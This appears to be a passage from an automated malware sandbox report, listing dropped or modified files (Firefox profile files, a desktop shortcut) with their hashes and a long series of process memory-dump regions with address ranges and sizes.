                                                                  39eca5db1a87655334791312cce793aedc1643d53028d380a6723a3c95dd8f961c088ea8e827092e31711e062a70671c88afd77dc1565e622485bdbe12c50d01

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\iauxn5db.default-release\prefs.js
                                                                  Filesize

                                                                  6KB

                                                                  MD5

                                                                  1b4b2905278ef417bc42428d5db4c1b1

                                                                  SHA1

                                                                  08e1464d855fc5b0c81a9d2c3e90c3f9460500b0

                                                                  SHA256

                                                                  d470f3c45cf2b90a59c390e30693bfb7c79f20215aa297a7ca93b44ea5f88ae7

                                                                  SHA512

                                                                  4cb76cbfbd30724959b8d7a1a2e52aa764a2ce95913df13445fdd46453e61c5a82d9a4d30805a543af74b59b866fd93e76c6aa98c9bcc7ebb5f41d091520254e

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\iauxn5db.default-release\prefs.js
                                                                  Filesize

                                                                  6KB

                                                                  MD5

                                                                  c28747c1f4b9edab2290f691fb404d37

                                                                  SHA1

                                                                  ff0f5c103d2ce7e4c05df8c7ba0eb225654cc03b

                                                                  SHA256

                                                                  c0938a2d2afc88ead4c18c2670a513f2a85ffa81be63d01c380622f2b91e92dd

                                                                  SHA512

                                                                  3c71d11e757b21a6032eab07c5d2405fcf3d59cfe0a345772ece5700f890d2dd8ac98a8af2aacb171d6f18bec4053f748124518bd5aabab48b9e573feb1a9f73

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\iauxn5db.default-release\sessionstore-backups\recovery.baklz4
                                                                  Filesize

                                                                  1KB

                                                                  MD5

                                                                  6e074b34b47ebbea6b8a5b5152795661

                                                                  SHA1

                                                                  b82edbe2cbc154e6423494b1c950e33f37859092

                                                                  SHA256

                                                                  bcebf670bfd7a15187e9e9b17872beddccd4bd421c7c588775514e7a4478d86e

                                                                  SHA512

                                                                  5b5fc44aaf8ef2f34d1d8fb55e15425d516f34dcadc9e7a45ff0f5b1d473330de3a0f6cbe5353e8c88325a6a09910c55ea5986d3d3c68545f05df86c64cdf200

                                                                  Download Submit

                                                                • C:\Users\Admin\Desktop\YCL.lnk
                                                                  Filesize

                                                                  1KB

                                                                  MD5

                                                                  304901601c3ad5b1315d6b86b4cc5a29

                                                                  SHA1

                                                                  469f7d50a6fd65b6ae05b97baa16f67cd09929a3

                                                                  SHA256

                                                                  e2de5fe0b290a5ef207a73880f4e21e4ac8cf65190147eb6cc3eb0c4ad015db7

                                                                  SHA512

                                                                  4481e0292b02389694512c5c6d93bd28bc2fc258dbcdb8875f000c617936332324f5e54dff9f5d7e3182e001b055d12d686e18599edb07334c268ba609939dd7

                                                                  Download Submit

                                                                • memory/392-170-0x0000000000400000-0x0000000000CD6000-memory.dmp

                                                                  Filesize

                                                                  8.8MB

                                                                  Download

                                                                • memory/392-176-0x0000000000400000-0x0000000000CD6000-memory.dmp

                                                                  Filesize

                                                                  8.8MB

                                                                  Download

                                                                • memory/1228-274-0x0000000000400000-0x000000000042E000-memory.dmp

                                                                  Filesize

                                                                  184KB

                                                                  Download

                                                                • memory/1228-175-0x0000000000400000-0x000000000042E000-memory.dmp

                                                                  Filesize

                                                                  184KB

                                                                  Download

                                                                • memory/1228-222-0x0000000000400000-0x000000000042E000-memory.dmp

                                                                  Filesize

                                                                  184KB

                                                                  Download

                                                                • memory/1228-172-0x0000000000400000-0x000000000042E000-memory.dmp

                                                                  Filesize

                                                                  184KB

                                                                  Download

                                                                • memory/1308-270-0x0000000000F50000-0x00000000013E9000-memory.dmp

                                                                  Filesize

                                                                  4.6MB

                                                                  Download

                                                                • memory/1320-177-0x0000000000400000-0x000000000042E000-memory.dmp

                                                                  Filesize

                                                                  184KB

                                                                  Download

                                                                • memory/1320-221-0x0000000000400000-0x000000000042E000-memory.dmp

                                                                  Filesize

                                                                  184KB

                                                                  Download

                                                                • memory/1320-149-0x0000000000400000-0x000000000042E000-memory.dmp

                                                                  Filesize

                                                                  184KB

                                                                  Download

                                                                • memory/1320-197-0x0000000010000000-0x000000001001C000-memory.dmp

                                                                  Filesize

                                                                  112KB

                                                                  Download

                                                                • memory/1320-146-0x0000000000400000-0x000000000042E000-memory.dmp

                                                                  Filesize

                                                                  184KB

                                                                  Download

                                                                • memory/1320-782-0x0000000000400000-0x000000000042E000-memory.dmp

                                                                  Filesize

                                                                  184KB

                                                                  Download

                                                                • memory/1472-24807-0x0000000000F50000-0x00000000013E9000-memory.dmp

                                                                  Filesize

                                                                  4.6MB

                                                                  Download

                                                                • memory/1472-24805-0x0000000000F50000-0x00000000013E9000-memory.dmp

                                                                  Filesize

                                                                  4.6MB

                                                                  Download

                                                                • memory/1512-240-0x00007FF7B5500000-0x00007FF7B5B79000-memory.dmp

                                                                  Filesize

                                                                  6.5MB

                                                                  Download

                                                                • memory/1512-241-0x00007FF7B5500000-0x00007FF7B5B79000-memory.dmp

                                                                  Filesize

                                                                  6.5MB

                                                                  Download

                                                                • memory/2248-47-0x00000000004E0000-0x0000000000979000-memory.dmp

                                                                  Filesize

                                                                  4.6MB

                                                                  Download

                                                                • memory/2248-32-0x00000000004E0000-0x0000000000979000-memory.dmp

                                                                  Filesize

                                                                  4.6MB

                                                                  Download

                                                                • memory/2684-93-0x0000000002810000-0x0000000002876000-memory.dmp

                                                                  Filesize

                                                                  408KB

                                                                  Download

                                                                • memory/2684-92-0x0000000000580000-0x0000000000581000-memory.dmp

                                                                  Filesize

                                                                  4KB

                                                                  Download

                                                                • memory/2908-22-0x0000000006FA0000-0x0000000007036000-memory.dmp

                                                                  Filesize

                                                                  600KB

                                                                  Download

                                                                • memory/2908-18-0x0000000005B70000-0x0000000005BBC000-memory.dmp

                                                                  Filesize

                                                                  304KB

                                                                  Download

                                                                • memory/2908-23-0x0000000006F00000-0x0000000006F22000-memory.dmp

                                                                  Filesize

                                                                  136KB

                                                                  Download

                                                                • memory/2908-20-0x0000000006000000-0x000000000601A000-memory.dmp

                                                                  Filesize

                                                                  104KB

                                                                  Download

                                                                • memory/2908-19-0x0000000007400000-0x0000000007A7A000-memory.dmp

                                                                  Filesize

                                                                  6.5MB

                                                                  Download

                                                                • memory/2908-24-0x0000000008030000-0x00000000085D4000-memory.dmp

                                                                  Filesize

                                                                  5.6MB

                                                                  Download

                                                                • memory/2908-17-0x0000000005AC0000-0x0000000005ADE000-memory.dmp

                                                                  Filesize

                                                                  120KB

                                                                  Download

                                                                • memory/2908-2-0x0000000002500000-0x0000000002536000-memory.dmp

                                                                  Filesize

                                                                  216KB

                                                                  Download

                                                                • memory/2908-3-0x0000000004E50000-0x0000000005478000-memory.dmp

                                                                  Filesize

                                                                  6.2MB

                                                                  Download

                                                                • memory/2908-4-0x0000000004B10000-0x0000000004B32000-memory.dmp

                                                                  Filesize

                                                                  136KB

                                                                  Download

                                                                • memory/2908-5-0x0000000004DB0000-0x0000000004E16000-memory.dmp

                                                                  Filesize

                                                                  408KB

                                                                  Download

                                                                • memory/2908-6-0x0000000005480000-0x00000000054E6000-memory.dmp

                                                                  Filesize

                                                                  408KB

                                                                  Download

                                                                • memory/2908-16-0x00000000055F0000-0x0000000005944000-memory.dmp

                                                                  Filesize

                                                                  3.3MB

                                                                  Download

                                                                • memory/3124-127-0x0000000000400000-0x0000000000466000-memory.dmp

                                                                  Filesize

                                                                  408KB

                                                                  Download

                                                                • memory/3124-126-0x0000000000400000-0x0000000000466000-memory.dmp

                                                                  Filesize

                                                                  408KB

                                                                  Download

                                                                • memory/3184-828-0x0000029F200B0000-0x0000029F200D2000-memory.dmp

                                                                  Filesize

                                                                  136KB

                                                                  Download

                                                                • memory/3524-220-0x00000000000C0000-0x0000000000571000-memory.dmp

                                                                  Filesize

                                                                  4.7MB

                                                                  Download

                                                                • memory/3524-217-0x00000000000C0000-0x0000000000571000-memory.dmp

                                                                  Filesize

                                                                  4.7MB

                                                                  Download

                                                                • memory/3672-823-0x000001E6027B0000-0x000001E602821000-memory.dmp

                                                                  Filesize

                                                                  452KB

                                                                  Download

                                                                • memory/3672-815-0x0000000000C90000-0x0000000000C92000-memory.dmp

                                                                  Filesize

                                                                  8KB

                                                                  Download

                                                                • memory/3672-816-0x000001E6027B0000-0x000001E602821000-memory.dmp

                                                                  Filesize

                                                                  452KB

                                                                  Download

                                                                • memory/3672-824-0x000001E6027B0000-0x000001E602821000-memory.dmp

                                                                  Filesize

                                                                  452KB

                                                                  Download

                                                                • memory/3672-825-0x000001E6027B0000-0x000001E602821000-memory.dmp

                                                                  Filesize

                                                                  452KB

                                                                  Download

                                                                • memory/3944-66-0x0000000000B90000-0x0000000000BBC000-memory.dmp

                                                                  Filesize

                                                                  176KB

                                                                  Download

                                                                • memory/4676-812-0x0000000000400000-0x0000000000681000-memory.dmp

                                                                  Filesize

                                                                  2.5MB

                                                                  Download

                                                                • memory/5252-865-0x0000000140000000-0x000000014043E000-memory.dmp

                                                                  Filesize

                                                                  4.2MB

                                                                  Download

                                                                • memory/5600-794-0x0000000000F50000-0x00000000013E9000-memory.dmp

                                                                  Filesize

                                                                  4.6MB

                                                                  Download

                                                                • memory/5600-48-0x0000000000F50000-0x00000000013E9000-memory.dmp

                                                                  Filesize

                                                                  4.6MB

                                                                  Download

                                                                • memory/5600-74-0x0000000000F50000-0x00000000013E9000-memory.dmp

                                                                  Filesize

                                                                  4.6MB

                                                                  Download

                                                                • memory/5600-185-0x0000000000F50000-0x00000000013E9000-memory.dmp

                                                                  Filesize

                                                                  4.6MB

                                                                  Download

                                                                • memory/5600-727-0x0000000000F50000-0x00000000013E9000-memory.dmp

                                                                  Filesize

                                                                  4.6MB

                                                                  Download

                                                                • memory/5600-128-0x0000000000F50000-0x00000000013E9000-memory.dmp

                                                                  Filesize

                                                                  4.6MB

                                                                  Download

                                                                • memory/5600-275-0x0000000000F50000-0x00000000013E9000-memory.dmp

                                                                  Filesize

                                                                  4.6MB

                                                                  Download

                                                                • memory/5600-224-0x0000000000F50000-0x00000000013E9000-memory.dmp

                                                                  Filesize

                                                                  4.6MB

                                                                  Download

                                                                • memory/5600-152-0x0000000000F50000-0x00000000013E9000-memory.dmp

                                                                  Filesize

                                                                  4.6MB

                                                                  Download

                                                                • memory/5636-853-0x0000000000400000-0x0000000000466000-memory.dmp

                                                                  Filesize

                                                                  408KB

                                                                  Download

                                                                • memory/5636-854-0x0000000000400000-0x0000000000466000-memory.dmp

                                                                  Filesize

                                                                  408KB

                                                                  Download

                                                                • memory/5660-151-0x0000000000400000-0x0000000000EBB000-memory.dmp

                                                                  Filesize

                                                                  10.7MB

                                                                  Download

                                                                • memory/5660-143-0x0000000000400000-0x0000000000EBB000-memory.dmp

                                                                  Filesize

                                                                  10.7MB

                                                                  Download

                                                                • memory/5704-194-0x0000000000400000-0x0000000000466000-memory.dmp

                                                                  Filesize

                                                                  408KB

                                                                  Download

                                                                • memory/5704-193-0x0000000000400000-0x0000000000466000-memory.dmp

                                                                  Filesize

                                                                  408KB

                                                                  Download

                                                                • memory/5796-785-0x00000000031A0000-0x0000000003206000-memory.dmp

                                                                  Filesize

                                                                  408KB

                                                                  Download

                                                                • memory/8552-24837-0x0000000005D50000-0x0000000005D9C000-memory.dmp

                                                                  Filesize

                                                                  304KB

                                                                  Download

                                                                • memory/8552-24836-0x0000000005770000-0x0000000005AC4000-memory.dmp

                                                                  Filesize

                                                                  3.3MB

                                                                  Download

                                                                • memory/8796-24867-0x0000000000660000-0x0000000000AF9000-memory.dmp

                                                                  Filesize

                                                                  4.6MB

                                                                  Download

                                                                • memory/8796-24869-0x0000000000660000-0x0000000000AF9000-memory.dmp

                                                                  Filesize

                                                                  4.6MB

                                                                  Download

                                                                • memory/8988-24858-0x0000000000400000-0x00000000008B8000-memory.dmp

                                                                  Filesize

                                                                  4.7MB

                                                                  Download

                                                                • memory/8988-24884-0x0000000000400000-0x00000000008B8000-memory.dmp

                                                                  Filesize

                                                                  4.7MB

                                                                  Download